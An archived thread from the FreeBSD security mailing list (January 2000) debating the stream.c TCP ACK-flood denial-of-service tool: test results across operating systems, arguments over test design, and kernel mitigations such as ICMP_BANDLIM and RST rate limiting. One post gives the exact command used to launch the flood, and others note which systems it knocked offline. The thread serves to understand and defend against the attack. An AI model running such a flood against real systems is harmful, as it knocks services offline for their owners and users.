stream.c worst-case kernel paths Cc: security@FreeBSD.ORG In-Reply-To: <3888C7D2.D82BE362@softweyr.com> References: <200001211415.BAA12772@cairo.anu.edu.au> <20000121.16082400@bastille.netquick.net> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 01:55 PM 1/21/2000 , Wes Peters wrote: >Be warned if you're using the exploit program: if you select random >addresses, it may (will) pick multicast IP addresses, which may have >unintended side affects on your network. Augh! Geeze. Is it even LEGAL to ACK multicast packets? --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 13:15: 7 2000 Delivered-To: freebsd-security@freebsd.org Received: from tetron02.tetronsoftware.com (ftp.tetronsoftware.com [208.236.46.106]) by hub.freebsd.org (Postfix) with ESMTP id 4C8B01553F for ; Fri, 21 Jan 2000 13:15:03 -0800 (PST) (envelope-from zeus@tetronsoftware.com) Received: from tetron02.tetronsoftware.com (tetron02.tetronsoftware.com [208.236.46.106]) by tetron02.tetronsoftware.com (8.9.3/8.9.3) with ESMTP id PAA04126; Fri, 21 Jan 2000 15:18:28 -0600 (CST) (envelope-from zeus@tetronsoftware.com) Date: Fri, 21 Jan 2000 15:18:28 -0600 (CST) From: Gene Harris To: Brett Glass Cc: freebsd-security@freebsd.org Subject: Some observations on stream.c and streamnt.c In-Reply-To: <4.2.2.20000120194543.019a8d50@localhost> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Mr. Glass, I have been working with stream.c against five operating systems on a 100 MBit private network. Your assumption that it has a bad effect on NT, or Windows 95/98 is incorrect, per your posting in bugtrack. All five machines were equipped with PII 400MHz processors and 128 MB RAM (except for the NT Server, which has 256MB RAM) and Intel EEPro 100 cards. All used IDE disk drives. All drives are IBM 18G OEM'ed from WD I think. (There was a sale, and they were $200 each, so I bough 10 for my business.) After eight hours of testing, in which I have been bombarding the NT 4.0 SP6a Server, the CPU usage on an unloaded machine jumped to 27%. However, when I started up Oracle 8.05 and ran a rather lengthy query against a 400MB database, no distinguishable differences exist in the query time between a machine under attack and one not under attack. In the case of Windows 95/98, several more complex interactions occured, and my FreeBSD machine began to post jess: No more buffer errors. I tested the Win98/95 machines against read/writes against the IDE and reads against the DVD subsystems and no apparent performance loss was noticed when the machines were under attack. (I used the movie "Gone With the Wind" as a test on the DVD drive.) These tests were run using the command ./stream 10.0.0.x 137 0 100000. As for crashing a Linux machine, I attempted the same attack as above on a machine running Red Hat 6.1 and executing IBM DB2 queries. I changed the port to 80 because I did have a web server running. This machine slowed very considerably in user response, but did not crash. After 25 minutes, the ide subsystem reset itself, and the Redhat machine complained that the CD-ROM could not be read. (There was no CD-ROM in the drive.) However, DB2 did not crash, and the cgi scripts continued to execute, feeding data correctly to the web pages. The Redhat 6.1 machine returned to normal operation with in seconds of stopping the attack. No reboot was required. I then used the Redhat 6.1 machine to attack the FreeBSD server, and there was almost no effect. As per some reports last night for Solaris, certain network operations were slower, but otherwise, there was no effect on any executing server software, including PostgreSQL and a StarOffice document I was working on. The top command reported interrupts of 35.6% on the BDS machine. I have seen worse with a busy Samba server. I hacked the stream.c script (calling it streamnt.c) to execute from NT and could not produce enough packets to affect either the FreeBSD or Linux machine. I am working on improving the attack, but I do not think the results will be any different and probably not worth the effort of improving the attacking program. In my opinion, the set of circumstances necessary to cause these DoS attacks to succeed in crashing a server include very heavy loading, and the design of the software driver for the NIC. I also think such attacks might be more successful against older hardware, such as Pent 200MHz and earlier and older ISA NIC's, which are limited in the interrupt handling rate. I am sending you this email because I think the threat of stream.c is at best very minimal. In particular, it does not appear to me that switching from ipfw to ipfilter is called for. I know these tests are not scientific, and are subject to some changes in observations depending on who does the measurements. *==============================================* *Gene Harris http://www.tetronsoftware.com* *FreeBSD Novice * *All ORBS.org SMTP connections are denied! * *==============================================* To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 13:21:25 2000 Delivered-To: freebsd-security@freebsd.org Received: from puck.nether.net (puck.nether.net [204.42.254.5]) by hub.freebsd.org (Postfix) with ESMTP id D582214C04 for ; Fri, 21 Jan 2000 13:21:13 -0800 (PST) (envelope-from jared@puck.nether.net) Received: (from jared@localhost) by puck.nether.net (8.9.3/8.9.3) id QAA03942; Fri, 21 Jan 2000 16:20:59 -0500 (envelope-from jared) Date: Fri, 21 Jan 2000 16:20:59 -0500 From: Jared Mauch To: Brett Glass Cc: Wes Peters , TrouBle , security@FreeBSD.ORG Subject: Re: stream.c worst-case kernel paths Message-ID: <20000121162059.Y30675@puck.nether.net> Mail-Followup-To: Brett Glass , Wes Peters , TrouBle , security@FreeBSD.ORG References: <200001211415.BAA12772@cairo.anu.edu.au> <20000121.16082400@bastille.netquick.net> <3888C7D2.D82BE362@softweyr.com> <4.2.2.20000121140941.01a68b30@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i In-Reply-To: <4.2.2.20000121140941.01a68b30@localhost>; from brett@lariat.org on Fri, Jan 21, 2000 at 02:10:23PM -0700 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In the multicast world you only send UDP (or other types), you do not send tcp packets out, because you can't do a three-way handshake. - jared On Fri, Jan 21, 2000 at 02:10:23PM -0700, Brett Glass wrote: > At 01:55 PM 1/21/2000 , Wes Peters wrote: > > >Be warned if you're using the exploit program: if you select random > >addresses, it may (will) pick multicast IP addresses, which may have > >unintended side affects on your network. Augh! > > Geeze. Is it even LEGAL to ACK multicast packets? > > --Brett > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message -- Jared Mauch | pgp key available via finger from jared@puck.nether.net clue++; | http://puck.nether.net/~jared/ My statements are only mine. END OF LINE | To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 13:23:59 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id E3FE71527D for ; Fri, 21 Jan 2000 13:23:55 -0800 (PST) (envelope-from brett@lariat.org) Received: from workhorse (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id OAA23915; Fri, 21 Jan 2000 14:23:49 -0700 (MST) Message-Id: <4.2.2.20000121141918.01a54ef0@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Fri, 21 Jan 2000 14:23:47 -0700 To: Gene Harris From: Brett Glass Subject: Re: Some observations on stream.c and streamnt.c Cc: freebsd-security@freebsd.org In-Reply-To: References: <4.2.2.20000120194543.019a8d50@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 02:18 PM 1/21/2000 , Gene Harris wrote: >After eight hours of testing, in which I have been >bombarding the NT 4.0 SP6a Server, the CPU usage on an >unloaded machine jumped to 27%. However, when I started up >Oracle 8.05 and ran a rather lengthy query against a 400MB >database, no distinguishable differences exist in the query >time between a machine under attack and one not under >attack. A poor test, IMHO. It's disk-intensive and CPU-intensive, but not network-intensive. Also, other conditions can affect the results. Were the machines on a network with a live gateway router? Remember, traffic to, from, and through the router is significant, since one of the effects of the exploit is to cause a storm of packets on the local LAN. I've made an NT/IIS server virtually inaccessible using the same exploit. >In the case of Windows 95/98, several more complex >interactions occured, and my FreeBSD machine began to post >jess: No more buffer errors. I tested the Win98/95 machines >against read/writes against the IDE and reads against the >DVD subsystems and no apparent performance loss was noticed >when the machines were under attack. (I used the movie "Gone >With the Wind" as a test on the DVD drive.) Again, a bad test -- I/O and CPU intensive, but not network- intensive. The same seems to be true of the Linux and BSD tests you describe. --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 13:28: 2 2000 Delivered-To: freebsd-security@freebsd.org Received: from erouter0.it-datacntr.louisville.edu (erouter0.it-datacntr.louisville.edu [136.165.1.36]) by hub.freebsd.org (Postfix) with ESMTP id 1FF431527D for ; Fri, 21 Jan 2000 13:28:00 -0800 (PST) (envelope-from k.stevenson@louisville.edu) Received: from osaka.louisville.edu (osaka.louisville.edu [136.165.1.114]) by erouter0.it-datacntr.louisville.edu (Postfix) with ESMTP id 8AD0D24D08 for ; Fri, 21 Jan 2000 16:27:58 -0500 (EST) Received: by osaka.louisville.edu (Postfix, from userid 15) id DD95118605; Fri, 21 Jan 2000 16:27:57 -0500 (EST) Date: Fri, 21 Jan 2000 16:27:57 -0500 From: Keith Stevenson To: freebsd-security@freebsd.org Subject: Re: Some observations on stream.c and streamnt.c Message-ID: <20000121162757.A7080@osaka.louisville.edu> References: <4.2.2.20000120194543.019a8d50@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre3i In-Reply-To: Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I've been doing my own testing. Against AIX 4.2.1 - no apparent effect Against HPUX 10.20 - Really effective DOS. Against FreeBSD 3-STABLE with ICMP rate limiting enabled - no effect Against Linux 2.2.10 - Really effective DOS. I was pushing 2.3 Mb/s out against the target machines. I didn't let it run for more than 3-4 minutes at a time. The HP and Linux box really bogged down. Network connections to them were being dropped and could not be re-established until the I stopped the attack. I was very happy with my FreeBSD servers. All are 3.4-STABLE with options "ICMP_BANDLIM" in the kernel. One of the machines I tested had TCP_RESTRICT_RST enabled. The ICMP_BANDLIM seemed to be the life saver. I got tons of "icmp-response bandwidth limit" messages in my syslog, but the load didn't climb and I was still able to provide network services from the target host. The machine which was running TCP_RESTRICT_RST in addition to ICMP_BANDLIM behaved exactly like the one without TCP_RESTRICT_RST. Regards, --Keith Stevenson-- -- Keith Stevenson System Programmer - Data Center Services - University of Louisville k.stevenson@louisville.edu PGP key fingerprint = 4B 29 A8 95 A8 82 EA A2 29 CE 68 DE FC EE B6 A0 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 13:35:34 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id 161141542B for ; Fri, 21 Jan 2000 13:35:32 -0800 (PST) (envelope-from brett@lariat.org) Received: from workhorse (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id OAA24085; Fri, 21 Jan 2000 14:35:19 -0700 (MST) Message-Id: <4.2.2.20000121143004.01908960@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Fri, 21 Jan 2000 14:35:16 -0700 To: Jared Mauch From: Brett Glass Subject: Re: stream.c worst-case kernel paths Cc: Wes Peters , TrouBle , security@FreeBSD.ORG In-Reply-To: <20000121162059.Y30675@puck.nether.net> References: <4.2.2.20000121140941.01a68b30@localhost> <200001211415.BAA12772@cairo.anu.edu.au> <20000121.16082400@bastille.netquick.net> <3888C7D2.D82BE362@softweyr.com> <4.2.2.20000121140941.01a68b30@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org That's what I thought. This is really pathological. Why do we allow ourselves to send a RST to a multicast address, or accept an ACK from one? Could lower layers of the stack flag the ACK as coming from a multicast address so that we can nuke it before (or as) it hits the TCP layer? I can imagine a whole potential family of exploits involving multicast addresses and TCP. --Brett At 02:20 PM 1/21/2000 , Jared Mauch wrote: > In the multicast world you only send UDP (or other types), you >do not send tcp packets out, because you can't do a three-way >handshake. > > - jared > >On Fri, Jan 21, 2000 at 02:10:23PM -0700, Brett Glass wrote: > > At 01:55 PM 1/21/2000 , Wes Peters wrote: > > > > >Be warned if you're using the exploit program: if you select random > > >addresses, it may (will) pick multicast IP addresses, which may have > > >unintended side affects on your network. Augh! > > > > Geeze. Is it even LEGAL to ACK multicast packets? > > > > --Brett > > > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-security" in the body of the message > >-- >Jared Mauch | pgp key available via finger from jared@puck.nether.net >clue++; | http://puck.nether.net/~jared/ My statements are only mine. >END OF LINE | To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 13:38:11 2000 Delivered-To: freebsd-security@freebsd.org Received: from tetron02.tetronsoftware.com (ftp.tetronsoftware.com [208.236.46.106]) by hub.freebsd.org (Postfix) with ESMTP id 0E67F154B5 for ; Fri, 21 Jan 2000 13:37:48 -0800 (PST) (envelope-from zeus@tetronsoftware.com) Received: from tetron02.tetronsoftware.com (tetron02.tetronsoftware.com [208.236.46.106]) by tetron02.tetronsoftware.com (8.9.3/8.9.3) with ESMTP id PAA04199; Fri, 21 Jan 2000 15:41:13 -0600 (CST) (envelope-from zeus@tetronsoftware.com) Date: Fri, 21 Jan 2000 15:41:13 -0600 (CST) From: Gene Harris To: Brett Glass Cc: freebsd-security@freebsd.org Subject: Re: Some observations on stream.c and streamnt.c In-Reply-To: <4.2.2.20000121141918.01a54ef0@localhost> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > A poor test, IMHO. It's disk-intensive and CPU-intensive, > but not network-intensive. Also, other conditions can True, but again, putting together a test on short notice, one uses the tools at hand. ;-) > affect the results. Were the machines on a network with > a live gateway router? Remember, traffic to, from, and > through the router is significant, since one of the > effects of the exploit is to cause a storm of packets > on the local LAN. Yes, there is a gateway. No packet storm was noticed between any segments. > > I've made an NT/IIS server virtually inaccessible using > the same exploit. > Hmmm... We need to compare detailed notes, because I saw no affect what-so-ever. I also have the ability to put the server on the inet for you to test against, if you would like. However, I see that we both ran the same "bad" test. *grin* > >In the case of Windows 95/98, several more complex > >interactions occured, and my FreeBSD machine began to post > >jess: No more buffer errors. I tested the Win98/95 machines > >against read/writes against the IDE and reads against the > >DVD subsystems and no apparent performance loss was noticed > >when the machines were under attack. (I used the movie "Gone > >With the Wind" as a test on the DVD drive.) > > Again, a bad test -- I/O and CPU intensive, but not network- > intensive. > > The same seems to be true of the Linux and BSD tests you > describe. Again, there will be better tests, but the attack is supposed to take a long path thru the kernel. It ultimately kills the machine (supposedly) because it overwhelms the target's ability to process packets. Further loading of the CPU only exascerbates the problem. I firmly disagree with your observation on NT. Gene To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 13:44:55 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id D3EDB1527D for ; Fri, 21 Jan 2000 13:44:52 -0800 (PST) (envelope-from brett@lariat.org) Received: from workhorse (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id OAA24224; Fri, 21 Jan 2000 14:44:44 -0700 (MST) Message-Id: <4.2.2.20000121144222.025dad80@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Fri, 21 Jan 2000 14:44:42 -0700 To: Keith Stevenson , freebsd-security@FreeBSD.ORG From: Brett Glass Subject: Re: Some observations on stream.c and streamnt.c In-Reply-To: <20000121162757.A7080@osaka.louisville.edu> References: <4.2.2.20000120194543.019a8d50@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 02:27 PM 1/21/2000 , Keith Stevenson wrote: >The ICMP_BANDLIM seemed to be the life saver. I got tons of >"icmp-response bandwidth limit" messages in my syslog, but the load didn't >climb and I was still able to provide network services from the target host. That's probably because one of the things the exploit does is to create an ICMP storm. Looks like it's triggered by the outgoing RST, which in turn is sent in response to the bogus ACK. >The machine which was running TCP_RESTRICT_RST in addition to ICMP_BANDLIM >behaved exactly like the one without TCP_RESTRICT_RST. You'll see a difference if you run with TCP_RESTRICT_RST and don't have ICMP_BANDLIM turned on. --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 13:49:11 2000 Delivered-To: freebsd-security@freebsd.org Received: from puck.nether.net (puck.nether.net [204.42.254.5]) by hub.freebsd.org (Postfix) with ESMTP id 5F2D11527D for ; Fri, 21 Jan 2000 13:49:08 -0800 (PST) (envelope-from jared@puck.nether.net) Received: (from jared@localhost) by puck.nether.net (8.9.3/8.9.3) id QAA04399; Fri, 21 Jan 2000 16:48:56 -0500 (envelope-from jared) Date: Fri, 21 Jan 2000 16:48:56 -0500 From: Jared Mauch To: Brett Glass Cc: Jared Mauch , Wes Peters , TrouBle , security@FreeBSD.ORG Subject: Re: stream.c worst-case kernel paths Message-ID: <20000121164856.A4055@puck.nether.net> Mail-Followup-To: Brett Glass , Wes Peters , TrouBle , security@FreeBSD.ORG References: <4.2.2.20000121140941.01a68b30@localhost> <200001211415.BAA12772@cairo.anu.edu.au> <20000121.16082400@bastille.netquick.net> <3888C7D2.D82BE362@softweyr.com> <4.2.2.20000121140941.01a68b30@localhost> <20000121162059.Y30675@puck.nether.net> <4.2.2.20000121143004.01908960@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i In-Reply-To: <4.2.2.20000121143004.01908960@localhost>; from brett@lariat.org on Fri, Jan 21, 2000 at 02:35:16PM -0700 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Packet comes in, and we look at type first I believe. RCV IP PKT -> Determine type enum { tcp udp raw ospf icmp ... } pass off to appropriate stack. udp stack deals with multicast, but if you receive traffic to a multicast address, that you haven't sent an igmp join to, you should drop the packet without looking at it further (Unless you are a multicast router). The TCP stack should discard 224.0.0.0/4 when it comes in if the src or dst are within that range. - Jared On Fri, Jan 21, 2000 at 02:35:16PM -0700, Brett Glass wrote: > That's what I thought. This is really pathological. Why do we allow > ourselves to send a RST to a multicast address, or accept an ACK from > one? Could lower layers of the stack flag the ACK as coming from > a multicast address so that we can nuke it before (or as) it hits > the TCP layer? I can imagine a whole potential family of exploits > involving multicast addresses and TCP. > > --Brett > > At 02:20 PM 1/21/2000 , Jared Mauch wrote: > > > In the multicast world you only send UDP (or other types), you > >do not send tcp packets out, because you can't do a three-way > >handshake. > > > > - jared > > > >On Fri, Jan 21, 2000 at 02:10:23PM -0700, Brett Glass wrote: > > > At 01:55 PM 1/21/2000 , Wes Peters wrote: > > > > > > >Be warned if you're using the exploit program: if you select random > > > >addresses, it may (will) pick multicast IP addresses, which may have > > > >unintended side affects on your network. Augh! > > > > > > Geeze. Is it even LEGAL to ACK multicast packets? > > > > > > --Brett > > > > > > > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > > with "unsubscribe freebsd-security" in the body of the message > > > >-- > >Jared Mauch | pgp key available via finger from jared@puck.nether.net > >clue++; | http://puck.nether.net/~jared/ My statements are only mine. > >END OF LINE | -- Jared Mauch | pgp key available via finger from jared@puck.nether.net clue++; | http://puck.nether.net/~jared/ My statements are only mine. END OF LINE | To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 13:51:15 2000 Delivered-To: freebsd-security@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 1BF521553D for ; Fri, 21 Jan 2000 13:51:13 -0800 (PST) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id NAA63804; Fri, 21 Jan 2000 13:51:07 -0800 (PST) (envelope-from dillon) Date: Fri, 21 Jan 2000 13:51:07 -0800 (PST) From: Matthew Dillon Message-Id: <200001212151.NAA63804@apollo.backplane.com> To: Gene Harris Cc: Brett Glass , freebsd-security@FreeBSD.ORG Subject: Re: Some observations on stream.c and streamnt.c References: Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org When I was working on ICMP_BANDLIM I ran a number of tests on Best's machines. I found that the machines could handle a high incoming packet rate just fine, and that the problems tended to occur when the machines tried to respond to the packets. Hence ICMP_BANDLIM focuses on limiting the error-packet response rate. I do not think optimizing the input path will gain you any significant improvement for the risk involved (the input path works, changing it might break it). Instead I would concentrate on ensuring that the machine does not overly-respond to these sorts of attacks. The very last thing I would worry about is whether we do an extra hash table lookup or run the packet checksum early or late! What I would recommend is that the ICMP_BANDLIM mechanism simply be extended to include the sending of TCP RST packets in certain cases. I strongly disagree with anything that will break the TCP protocol... for example, I think using the TCP_RESTRICT_RST option (or even having it in the kernel in first place) is a *bad* idea. -Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 13:53:31 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id 605271555A for ; Fri, 21 Jan 2000 13:53:28 -0800 (PST) (envelope-from brett@lariat.org) Received: from workhorse (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id OAA24318; Fri, 21 Jan 2000 14:53:22 -0700 (MST) Message-Id: <4.2.2.20000121144504.01a5a990@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Fri, 21 Jan 2000 14:53:17 -0700 To: Gene Harris From: Brett Glass Subject: Re: Some observations on stream.c and streamnt.c Cc: freebsd-security@freebsd.org In-Reply-To: References: <4.2.2.20000121141918.01a54ef0@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 02:41 PM 1/21/2000 , Gene Harris wrote: > > A poor test, IMHO. It's disk-intensive and CPU-intensive, > > but not network-intensive. Also, other conditions can > >True, but again, putting together a test on short notice, >one uses the tools at hand. ;-) Yep, I understand this quite well. Darren saw results that seem more typical; you might ask him what his configuration was. >Yes, there is a gateway. No packet storm was noticed >between any segments. The packet storm seems to brew between the victim and its router. The router settings may matter. If multicast addresses are used, I could imagine that other machines on the LAN might get involved, though I have not checked this. > > I've made an NT/IIS server virtually inaccessible using > > the same exploit. > >Hmmm... We need to compare detailed notes, because I saw no >affect what-so-ever. I also have the ability to put the >server on the inet for you to test against, if you would >like. However, I see that we both ran the same "bad" test. >*grin* The difference may be that I was exercising IIS specifically. Exercising the back-end database probably doesn't affect the LAN. >Again, there will be better tests, but the attack is >supposed to take a long path thru the kernel. That's ONE of its problems. Some of the fixes that have been proposed on this list can cut the time to recognize that the packet is bogus by more than half. >It ultimately >kills the machine (supposedly) because it overwhelms the >target's ability to process packets. Not just that. I suspect that it runs out of buffers because it's queueing up RST packets and ICMP packets. And discarding important incoming packets in the process. (Which is another thing you'll see in a test: the more INPUT the server needs to accept, the more it will be affected.) >I firmly disagree with your observation on NT. I'm willing to believe that you saw different results than me in your test setup. But I saw a big impact on mine. --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 13:55:34 2000 Delivered-To: freebsd-security@freebsd.org Received: from security1.noc.flyingcroc.net (security1.noc.flyingcroc.net [207.246.128.54]) by hub.freebsd.org (Postfix) with ESMTP id B2B7A15358 for ; Fri, 21 Jan 2000 13:55:31 -0800 (PST) (envelope-from todd@flyingcroc.net) Received: from localhost (todd@localhost) by security1.noc.flyingcroc.net (8.9.3/8.9.3) with ESMTP id NAA47626 for ; Fri, 21 Jan 2000 13:55:07 -0800 (PST) (envelope-from todd@flyingcroc.net) X-Authentication-Warning: security1.noc.flyingcroc.net: todd owned process doing -bs Date: Fri, 21 Jan 2000 13:55:07 -0800 (PST) From: Todd Backman X-Sender: todd@security1.noc.flyingcroc.net To: security@freebsd.org Subject: SA and patch for stream.c??? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Is there going to be a SA and an "official" patch from FREEBSD.ORG? Thanks. - Todd To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 14: 8:58 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id 5D2D41558E for ; Fri, 21 Jan 2000 14:08:54 -0800 (PST) (envelope-from brett@lariat.org) Received: from workhorse (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id PAA24493; Fri, 21 Jan 2000 15:08:39 -0700 (MST) Message-Id: <4.2.2.20000121145537.019bf610@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Fri, 21 Jan 2000 15:08:37 -0700 To: Jared Mauch From: Brett Glass Subject: Re: stream.c worst-case kernel paths Cc: Jared Mauch , Wes Peters , TrouBle , security@FreeBSD.ORG In-Reply-To: <20000121164856.A4055@puck.nether.net> References: <4.2.2.20000121143004.01908960@localhost> <4.2.2.20000121140941.01a68b30@localhost> <200001211415.BAA12772@cairo.anu.edu.au> <20000121.16082400@bastille.netquick.net> <3888C7D2.D82BE362@softweyr.com> <4.2.2.20000121140941.01a68b30@localhost> <20000121162059.Y30675@puck.nether.net> <4.2.2.20000121143004.01908960@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I can see that in icmp.c, there is a test that prevents us from sending an ICMP packet to a multicast address. And in tcp_input.c, the code near the label "dropwithreset" prevents a RST from being sent in response to a packet whose DESTINATION was a multicast address. But I don't see anything that stops it from going out when the SOURCE was a multicast address. So TCP attempts to send a RST to that address (something that should be fixed!). Maybe this is one of the reasons why TCP_RESTRICT_RST seems to help defeat this exploit. [Side note: It occurs to me that George may not have tried the -random option in his tests, and therefore might not have seen this.] --Brett At 02:48 PM 1/21/2000 , Jared Mauch wrote: > Packet comes in, and we look at type first I believe. > > RCV IP PKT -> Determine type enum { tcp udp raw ospf icmp ... } > > pass off to appropriate stack. udp stack deals with multicast, >but if you receive traffic to a multicast address, that you haven't sent >an igmp join to, you should drop the packet without looking at it further >(Unless you are a multicast router). > > The TCP stack should discard 224.0.0.0/4 when it comes in if >the src or dst are within that range. > > - Jared > >On Fri, Jan 21, 2000 at 02:35:16PM -0700, Brett Glass wrote: > > That's what I thought. This is really pathological. Why do we allow > > ourselves to send a RST to a multicast address, or accept an ACK from > > one? Could lower layers of the stack flag the ACK as coming from > > a multicast address so that we can nuke it before (or as) it hits > > the TCP layer? I can imagine a whole potential family of exploits > > involving multicast addresses and TCP. > > > > --Brett > > > > At 02:20 PM 1/21/2000 , Jared Mauch wrote: > > > > > In the multicast world you only send UDP (or other types), you > > >do not send tcp packets out, because you can't do a three-way > > >handshake. > > > > > > - jared > > > > > >On Fri, Jan 21, 2000 at 02:10:23PM -0700, Brett Glass wrote: > > > > At 01:55 PM 1/21/2000 , Wes Peters wrote: > > > > > > > > >Be warned if you're using the exploit program: if you select random > > > > >addresses, it may (will) pick multicast IP addresses, which may have > > > > >unintended side affects on your network. Augh! > > > > > > > > Geeze. Is it even LEGAL to ACK multicast packets? > > > > > > > > --Brett > > > > > > > > > > > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > > > with "unsubscribe freebsd-security" in the body of the message > > > > > >-- > > >Jared Mauch | pgp key available via finger from jared@puck.nether.net > > >clue++; | http://puck.nether.net/~jared/ My statements are only mine. > > >END OF LINE | > >-- >Jared Mauch | pgp key available via finger from jared@puck.nether.net >clue++; | http://puck.nether.net/~jared/ My statements are only mine. >END OF LINE | > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-security" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 14:13:53 2000 Delivered-To: freebsd-security@freebsd.org Received: from clapton.atgsystems.com (clapton.atgsystems.com [207.122.162.32]) by hub.freebsd.org (Postfix) with ESMTP id 06999155C8 for ; Fri, 21 Jan 2000 14:13:47 -0800 (PST) (envelope-from bobm@atgsystems.com) Received: from madman (root@joplin.atgsystems.com [207.122.162.33]) by clapton.atgsystems.com (8.8.8/8.8.8) with SMTP id QAA08520 for ; Fri, 21 Jan 2000 16:11:56 -0600 (CST) (envelope-from bobm@atgsystems.com) Message-ID: <038801bf645c$ed6d5f00$01000000@madman> From: "Bob Madden" To: "FreeBSD-Security" Subject: Re: Some observations on stream.c and streamnt.c Date: Fri, 21 Jan 2000 16:14:44 -0600 MIME-Version: 1.0 Content-Type: text/plain; 